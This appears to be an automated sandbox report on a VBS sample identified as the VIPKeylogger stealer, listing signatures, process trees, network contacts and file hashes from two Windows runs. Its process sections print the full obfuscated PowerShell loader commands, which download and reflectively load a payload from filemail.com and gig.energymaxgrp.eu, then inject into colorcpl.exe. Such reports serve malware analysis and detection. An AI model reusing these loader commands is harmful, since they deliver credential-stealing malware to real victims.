Malware Analysis Report

2024-12-07 14:04

Sample ID 241112-m2pkha1eqb
Target 76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs
SHA256 76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2

Threat Level: Known bad

The file 76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

VIPKeylogger

Vipkeylogger family

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Looks up external IP address via web service

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

Suspicious use of AdjustPrivilegeToken

Modifies registry class

outlook_office_path

Script User-Agent

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

outlook_win_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-12 10:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-12 10:57

Reported

2024-11-12 11:00

Platform

win7-20240903-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxMSURbMV0rJHNoRUxMSURbMTNdKydYJykgKCgnV0V3aW1hZ2VVcmwgPSBUb1JodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maScrJ2xlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0RycrJ3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MCcrJzRmIFRvUjtXRXd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQycrJ2xpZW50O1dFd2ltYWdlQnl0ZXMgPSBXRXd3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKFdFd2ltYWdlVXJsKTtXRXdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4JysnLicrJ0dldFN0cmluZyhXRXdpbWFnZUJ5dGVzKTtXRXdzdGFydEZsYWcgPScrJyBUb1I8JysnPEJBU0U2NF9TVEFSVD4+VG9SO1dFd2VuZEZsYWcgPSBUb1I8PEJBU0U2NF9FTkQ+PlRvUjtXRXdzdGFydEluZCcrJ2V4JysnID0gV0V3aScrJ21hZ2VUZXh0LkluJysnZGV4T2YoV0V3c3RhcnRGbGFnKTtXRXcnKydlJysnbmRJbmRleCA9IFdFd2ltYWdlVGV4dC5JbmRleE9mKFdFd2VuZEZsYWcpO1dFd3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXRXdlbmRJbmRleCAtZ3QgV0V3c3RhcnRJbmRleDtXRXdzdGFydEluZGV4ICs9IFdFd3N0YXJ0RmxhZy5MZW5ndGg7V0V3YicrJ2FzZTY0TGUnKyduZ3RoID0gV0V3ZW5kSW5kZXggLSBXRXdzdGFydEluZGV4O1dFd2Jhc2U2NENvbW1hbmQnKycgPSBXRXdpbWFnZVRleCcrJ3QuJysnU3Vic3RyaW5nKFdFd3N0YXJ0SW5kZXgsIFdFd2Jhc2U2NExlbmd0aCk7V0V3YmFzZTY0UmUnKyd2ZXJzZWQgPSAtam9pbiAnKycoV0V3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRkdyBGb3JFYWNoLU9iamVjdCB7IFdFd18gfSlbLTEuLi0oV0V3YmFzZTY0Q29tbWFuZC5MZW5ndGgpXScrJztXRXdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0JysnU3RyaW5nKFdFd2Jhc2U2NFJldmVyc2VkKTtXRXdsb2FkZWQnKydBJysnc3NlbWJseScrJyA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYScrJ2QoV0V3Y29tbWFuZEJ5dCcrJ2VzKTtXRXd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFRvUlZBSVRvUik7V0V3dmFpTWV0aG9kLkludm9rZShXRXdudWxsLCBAKFRvUnR4dC5kc3RlcC9wb3AvdWUucHJneGFteWdyZW5lLmdpZy8vOnB0dGhUb1IsIFRvUmRlc2F0aXZhZCcrJ29Ub1IsICcrJ1RvUmRlc2F0aXZhZG8nKydUb1IsIFRvUmRlc2F0aXZhZG9Ub1IsIFRvUmRlc2F0aScrJ3ZhZG9UJysnb1IsIFRvUjFUb1IsIFRvUmNvbG9yY3BsVG9SLCBUb1JkJysnZXNhdGl2YWRvVG9SLCBUb1JkZXNhdGl2YWRvVG9SLFRvUmRlJysnc2F0aXZhZG9Ub1IsVG9SZGVzYXRpdmFkb1RvUixUb1JkZXNhdGl2YWRvVG9SLFRvUjFUb1IsVG9SZGVzYScrJ3RpdmFkb1RvUiknKycpOycpLlJlUGxhY2UoJ3RkdycsW1NUckluZ11bQ0hBUl0xMjQpLlJlUGxhY2UoJ1RvUicsW1NUckluZ11bQ0hBUl0zOSkuUmVQbGFjZSgnV0V3JyxbU1RySW5nXVtDSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLLID[1]+$shELLID[13]+'X') (('WEwimageUrl = ToRhttps://1017.filemail.com/api/fi'+'le/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStG'+'rnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a090'+'4f ToR;WEwwebClient = New-Object System.Net.WebC'+'lient;WEwimageBytes = WEwwebClient'+'.DownloadData(WEwimageUrl);WEwimageText = [System.Text.Encoding]::UTF8'+'.'+'GetString(WEwimageBytes);WEwstartFlag ='+' ToR<'+'<BASE64_START>>ToR;WEwendFlag = ToR<<BASE64_END>>ToR;WEwstartInd'+'ex'+' = WEwi'+'mageText.In'+'dexOf(WEwstartFlag);WEw'+'e'+'ndIndex = WEwimageText.IndexOf(WEwendFlag);WEwstartIndex -ge 0 -and WEwendIndex -gt WEwstartIndex;WEwstartIndex += WEwstartFlag.Length;WEwb'+'ase64Le'+'ngth = WEwendIndex - WEwstartIndex;WEwbase64Command'+' = WEwimageTex'+'t.'+'Substring(WEwstartIndex, WEwbase64Length);WEwbase64Re'+'versed = -join '+'(WEwbase64Command.ToCharArray() tdw ForEach-Object { WEw_ })[-1..-(WEwbase64Command.Length)]'+';WEwcommandBytes = [System.Convert]::FromBase64'+'String(WEwbase64Reversed);WEwloaded'+'A'+'ssembly'+' = [S'+'ystem.Reflection.Assembly]::Loa'+'d(WEwcommandByt'+'es);WEwvaiMethod = [dnlib.IO.Home].GetMethod(ToRVAIToR);WEwvaiMethod.Invoke(WEwnull, @(ToRtxt.dstep/pop/ue.prgxamygrene.gig//:ptthToR, ToRdesativad'+'oToR, '+'ToRdesativado'+'ToR, ToRdesativadoToR, ToRdesati'+'vadoT'+'oR, ToR1ToR, ToRcolorcplToR, ToRd'+'esativadoToR, ToRdesativadoToR,ToRde'+'sativadoToR,ToRdesativadoToR,ToRdesativadoToR,ToR1ToR,ToRdesa'+'tivadoToR)'+');').RePlace('tdw',[STrIng][CHAR]124).RePlace('ToR',[STrIng][CHAR]39).RePlace('WEw',[STrIng][CHAR]36) )"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 104.21.84.67:80 paste.ee tcp
US 104.21.84.67:443 paste.ee tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs

MD5 c1ab9e3c7a5a70259e486e1b35e791dd
SHA1 f0f6ebff9ebfac13bf995bccf8193daf58827652
SHA256 6cc7e3be7d1abd44b8cd67b15cbc5c86ee366edc63da01e0b1b7544982551738
SHA512 9d705558cd936e603ae1db6860fa1f2a7337acf8df787ca1acb9a32c96d0345834b705aac1c503215127fefe01057bd789be276cc2a377dc29c856e0b78fd9d2

memory/2196-8-0x000000001B540000-0x000000001B822000-memory.dmp

memory/2196-9-0x0000000001E10000-0x0000000001E18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RZP9J7OSMOQXUXTCVT6N.temp

MD5 074374e15f81279d3a29e37f2589a648
SHA1 0c2c6b21b70da699616e5900d89495654cda2196
SHA256 dc6f60dba1d65cfaad168fc303ade44379fd9116141b37a3b04edea58b62cc2e
SHA512 b2bc7c1fdff38831639106ce3b3e8d11b9f5c99ea9774847d762cf076c86c390b31860e43d9a1980f8c54eaf793f7e7c410e2567b57fc710e1b61b0f53be4438

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-12 10:57

Reported

2024-11-12 11:00

Platform

win10v2004-20241007-en

Max time kernel

116s

Max time network

149s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\colorcpl.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4160 set thread context of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2356 wrote to memory of 5032 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2356 wrote to memory of 5032 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 5032 wrote to memory of 3956 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5032 wrote to memory of 3956 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3956 wrote to memory of 4160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3956 wrote to memory of 4160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe
PID 4160 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\colorcpl.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\colorcpl.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\colorcpl.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxMSURbMV0rJHNoRUxMSURbMTNdKydYJykgKCgnV0V3aW1hZ2VVcmwgPSBUb1JodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maScrJ2xlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0RycrJ3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MCcrJzRmIFRvUjtXRXd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQycrJ2xpZW50O1dFd2ltYWdlQnl0ZXMgPSBXRXd3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKFdFd2ltYWdlVXJsKTtXRXdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4JysnLicrJ0dldFN0cmluZyhXRXdpbWFnZUJ5dGVzKTtXRXdzdGFydEZsYWcgPScrJyBUb1I8JysnPEJBU0U2NF9TVEFSVD4+VG9SO1dFd2VuZEZsYWcgPSBUb1I8PEJBU0U2NF9FTkQ+PlRvUjtXRXdzdGFydEluZCcrJ2V4JysnID0gV0V3aScrJ21hZ2VUZXh0LkluJysnZGV4T2YoV0V3c3RhcnRGbGFnKTtXRXcnKydlJysnbmRJbmRleCA9IFdFd2ltYWdlVGV4dC5JbmRleE9mKFdFd2VuZEZsYWcpO1dFd3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXRXdlbmRJbmRleCAtZ3QgV0V3c3RhcnRJbmRleDtXRXdzdGFydEluZGV4ICs9IFdFd3N0YXJ0RmxhZy5MZW5ndGg7V0V3YicrJ2FzZTY0TGUnKyduZ3RoID0gV0V3ZW5kSW5kZXggLSBXRXdzdGFydEluZGV4O1dFd2Jhc2U2NENvbW1hbmQnKycgPSBXRXdpbWFnZVRleCcrJ3QuJysnU3Vic3RyaW5nKFdFd3N0YXJ0SW5kZXgsIFdFd2Jhc2U2NExlbmd0aCk7V0V3YmFzZTY0UmUnKyd2ZXJzZWQgPSAtam9pbiAnKycoV0V3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRkdyBGb3JFYWNoLU9iamVjdCB7IFdFd18gfSlbLTEuLi0oV0V3YmFzZTY0Q29tbWFuZC5MZW5ndGgpXScrJztXRXdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0JysnU3RyaW5nKFdFd2Jhc2U2NFJldmVyc2VkKTtXRXdsb2FkZWQnKydBJysnc3NlbWJseScrJyA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYScrJ2QoV0V3Y29tbWFuZEJ5dCcrJ2VzKTtXRXd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFRvUlZBSVRvUik7V0V3dmFpTWV0aG9kLkludm9rZShXRXdudWxsLCBAKFRvUnR4dC5kc3RlcC9wb3AvdWUucHJneGFteWdyZW5lLmdpZy8vOnB0dGhUb1IsIFRvUmRlc2F0aXZhZCcrJ29Ub1IsICcrJ1RvUmRlc2F0aXZhZG8nKydUb1IsIFRvUmRlc2F0aXZhZG9Ub1IsIFRvUmRlc2F0aScrJ3ZhZG9UJysnb1IsIFRvUjFUb1IsIFRvUmNvbG9yY3BsVG9SLCBUb1JkJysnZXNhdGl2YWRvVG9SLCBUb1JkZXNhdGl2YWRvVG9SLFRvUmRlJysnc2F0aXZhZG9Ub1IsVG9SZGVzYXRpdmFkb1RvUixUb1JkZXNhdGl2YWRvVG9SLFRvUjFUb1IsVG9SZGVzYScrJ3RpdmFkb1RvUiknKycpOycpLlJlUGxhY2UoJ3RkdycsW1NUckluZ11bQ0hBUl0xMjQpLlJlUGxhY2UoJ1RvUicsW1NUckluZ11bQ0hBUl0zOSkuUmVQbGFjZSgnV0V3JyxbU1RySW5nXVtDSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLLID[1]+$shELLID[13]+'X') (('WEwimageUrl = ToRhttps://1017.filemail.com/api/fi'+'le/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStG'+'rnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a090'+'4f ToR;WEwwebClient = New-Object System.Net.WebC'+'lient;WEwimageBytes = WEwwebClient'+'.DownloadData(WEwimageUrl);WEwimageText = [System.Text.Encoding]::UTF8'+'.'+'GetString(WEwimageBytes);WEwstartFlag ='+' ToR<'+'<BASE64_START>>ToR;WEwendFlag = ToR<<BASE64_END>>ToR;WEwstartInd'+'ex'+' = WEwi'+'mageText.In'+'dexOf(WEwstartFlag);WEw'+'e'+'ndIndex = WEwimageText.IndexOf(WEwendFlag);WEwstartIndex -ge 0 -and WEwendIndex -gt WEwstartIndex;WEwstartIndex += WEwstartFlag.Length;WEwb'+'ase64Le'+'ngth = WEwendIndex - WEwstartIndex;WEwbase64Command'+' = WEwimageTex'+'t.'+'Substring(WEwstartIndex, WEwbase64Length);WEwbase64Re'+'versed = -join '+'(WEwbase64Command.ToCharArray() tdw ForEach-Object { WEw_ })[-1..-(WEwbase64Command.Length)]'+';WEwcommandBytes = [System.Convert]::FromBase64'+'String(WEwbase64Reversed);WEwloaded'+'A'+'ssembly'+' = [S'+'ystem.Reflection.Assembly]::Loa'+'d(WEwcommandByt'+'es);WEwvaiMethod = [dnlib.IO.Home].GetMethod(ToRVAIToR);WEwvaiMethod.Invoke(WEwnull, @(ToRtxt.dstep/pop/ue.prgxamygrene.gig//:ptthToR, ToRdesativad'+'oToR, '+'ToRdesativado'+'ToR, ToRdesativadoToR, ToRdesati'+'vadoT'+'oR, ToR1ToR, ToRcolorcplToR, ToRd'+'esativadoToR, ToRdesativadoToR,ToRde'+'sativadoToR,ToRdesativadoToR,ToRdesativadoToR,ToR1ToR,ToRdesa'+'tivadoToR)'+');').RePlace('tdw',[STrIng][CHAR]124).RePlace('ToR',[STrIng][CHAR]39).RePlace('WEw',[STrIng][CHAR]36) )"

C:\Windows\SysWOW64\colorcpl.exe

"C:\Windows\SysWOW64\colorcpl.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 104.21.84.67:80 paste.ee tcp
US 104.21.84.67:443 paste.ee tcp
US 8.8.8.8:53 67.84.21.104.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 106.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 gig.energymaxgrp.eu udp
US 107.174.244.110:80 gig.energymaxgrp.eu tcp
US 8.8.8.8:53 110.244.174.107.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
DE 193.122.6.168:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 168.6.122.193.in-addr.arpa udp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 pdf.maxengrygrp.eu udp
US 107.174.244.110:80 pdf.maxengrygrp.eu tcp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 100.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 66.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs

MD5 c1ab9e3c7a5a70259e486e1b35e791dd
SHA1 f0f6ebff9ebfac13bf995bccf8193daf58827652
SHA256 6cc7e3be7d1abd44b8cd67b15cbc5c86ee366edc63da01e0b1b7544982551738
SHA512 9d705558cd936e603ae1db6860fa1f2a7337acf8df787ca1acb9a32c96d0345834b705aac1c503215127fefe01057bd789be276cc2a377dc29c856e0b78fd9d2

memory/3956-4-0x000002705D110000-0x000002705D132000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jjgi4wnq.5j5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4160-23-0x0000013CDA110000-0x0000013CDA268000-memory.dmp

memory/1748-24-0x0000000000400000-0x0000000000437000-memory.dmp

memory/1748-27-0x0000000000400000-0x0000000000437000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/1748-31-0x0000000002A80000-0x0000000002AD0000-memory.dmp

memory/1748-32-0x0000000005530000-0x0000000005AD4000-memory.dmp

memory/1748-33-0x0000000002B50000-0x0000000002B9E000-memory.dmp

memory/1748-34-0x0000000005020000-0x00000000050BC000-memory.dmp

memory/1748-35-0x00000000061B0000-0x0000000006372000-memory.dmp

memory/1748-36-0x0000000006030000-0x0000000006080000-memory.dmp

memory/1748-37-0x00000000068B0000-0x0000000006DDC000-memory.dmp

memory/1748-38-0x0000000006660000-0x00000000066F2000-memory.dmp

memory/1748-39-0x0000000006430000-0x000000000643A000-memory.dmp